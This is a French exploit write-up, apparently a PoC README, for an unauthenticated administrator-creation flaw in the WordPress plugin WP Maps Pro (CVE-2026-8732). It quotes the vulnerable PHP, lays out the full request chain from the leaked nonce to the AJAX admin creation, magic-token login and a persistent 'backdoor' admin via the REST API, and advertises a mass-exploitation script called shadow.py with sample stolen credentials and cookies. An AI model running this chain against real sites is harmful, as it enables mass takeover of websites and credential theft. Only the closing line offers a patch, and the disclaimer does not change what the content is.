
WP Maps Pro <= 6.1.0 - Escalade de privilèges non authentifiée via la création de compte administrateur
♡ Escalade de privilèges non authentifiée via la création d'un compte Administrateur ♡
=== shadow ♡ & friska ===
| Champ | Détails |
|---|---|
| ID CVE | CVE-2026-8732 |
| Score CVSS | 9.8 (Critique) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Type | Authentification manquante pour fonction critique |
| Extension | WP Maps Pro (wp-google-map-gold) |
| Versions affectées | Toutes les versions ≤ 6.1.0 |
| Version corrigée | 6.1.1 |
| Date de publication | 28 mai 2026 |
| Chercheur | David Brown |
| PoC | Shadow & Friska 😈 |
L'extension WP Maps Pro pour WordPress est vulnérable à une escalade de privilèges non authentifiée via la création d'un compte Administrateur.
L'action AJAX wpgmp_temp_access_ajax est enregistrée avec wp_ajax_nopriv_ et protégée uniquement par une vérification de nonce utilisant le nonce fc-call-nonce — qui est publiquement intégré dans chaque page frontale via wp_localize_script en tant que champ nonce de l'objet JavaScript wpgmp_local.
Cela rend la vérification du nonce complètement inefficace en tant que mécanisme de contrôle d'accès, permettant à des attaquants non authentifiés de :
wpgmp_temp_access_support avec check_temp=falsewp_set_auth_cookie() — accordant un accès administrateur completRésultat : Prise de contrôle totale du site sans aucune authentification préalable.
is_admin() — mais is_admin() est toujours vrai pour AJAX// wp-google-map-gold.php
if ( is_admin() ) { // ← is_admin() = TRUE pour toutes les requêtes admin-ajax.php !
add_action( 'wp_ajax_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] );
add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = non authentifié !
}
// classes/wpgmp-helper.php
$wpgmp_local = [
'urlforajax' => admin_url( 'admin-ajax.php' ),
'nonce' => wp_create_nonce( 'fc-call-nonce' ), // ← DIVULGUÉ dans le HTML public !
// ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );
Tout visiteur peut lire le nonce dans le code source de la page. Les nonces WordPress sont des jetons CSRF — pas des jetons d'authentification.
function wpgmp_temp_access_ajax_callback(){
check_ajax_referer( 'fc-call-nonce', 'nonce' ); // ← contourné via le nonce public
// Aucune vérification current_user_can() !
$temp_access = new WPGMP_Temp_Access();
$response = $temp_access->wpgmp_temp_access_support();
wp_send_json($response);
}
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
$username = 'fc_user_' . uniqid(); // nom d'utilisateur aléatoire
$email = '[email protected]'; // email codé en dur
$role = 'administrator'; // rôle codé en dur ← CAUSE RACINE
$result = self::fc_create_new_user($username, $email, $role);
if (is_numeric($result)) {
$access_link = self::generate_login_link($result);
$response['url'] = $access_link; // ← URL magique renvoyée à l'attaquant !
}
}
init — pas d'expiration, pas d'usage unique// Hooké sur init — s'exécute à CHAQUE requête, aucune authentification requise
function wpgmp_access_token_check(){
if ( ! empty( $_GET['wpgmp_token'] ) ) {
$temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
}
}
// Dans get_valid_user_based_on_wpgmp_token() :
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id ); // ← SESSION DÉFINIE EN TANT QU'ADMIN
wp_safe_redirect( admin_url() ); // ← REDIRECTION VERS LE TABLEAU DE BORD
[Attaquant non authentifié]
│
▼
GET /any-page/
← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
│
▼
POST /wp-admin/admin-ajax.php
action=wpgmp_temp_access_ajax
nonce=XXXXXXXX
check_temp=false
← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
│
▼
GET /wp-admin/?wpgmp_token=<128-hex>
← wp_set_auth_cookie() déclenché
← 302 → /wp-admin/
│
▼
[Accès Administrateur Complet] 💀
│
▼
POST /wp-json/wp/v2/users
X-WP-Nonce: <rest-nonce>
{"username":"backdoor","password":"...","roles":["administrator"]}
│
▼
[Backdoor Persistante Créée] 😈
shadow.py — Chaîne d'exploitation complèteCible unique ou exploitation de masse.
# Interactif
python3 shadow.py
# Cible unique
python3 shadow.py -u https://target.com
# Exploitation de masse
python3 shadow.py -f targets.txt -t 20
Phases d'exploitation :
Phase 1 ▶ Détection de l'extension et des fonctionnalités
Phase 2 ▶ Scan du nonce (explorateur parallèle)
Phase 3 ▶ Création d'administrateur via AJAX
Phase 4 ▶ Connexion magique (wp_set_auth_cookie)
Phase 5 ▶ Backdoor persistante (API REST)
Sortie (pwned.txt) :
1.
=======================================================
Target : https://target.com/wp-admin/
User : shadow_xxxxx
Pass : Xk9#mQ2pLrTv8nYw
Email : [email protected]
Magic : https://target.com/wp-admin/?wpgmp_token=...
=======================================================
Cookies :
=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================
Mettez à jour WP Maps Pro vers la version 6.1.1 ou plus récente.
[shadow ♡ friska] — à des fins éducatives et de recherche de sécurité autorisée uniquement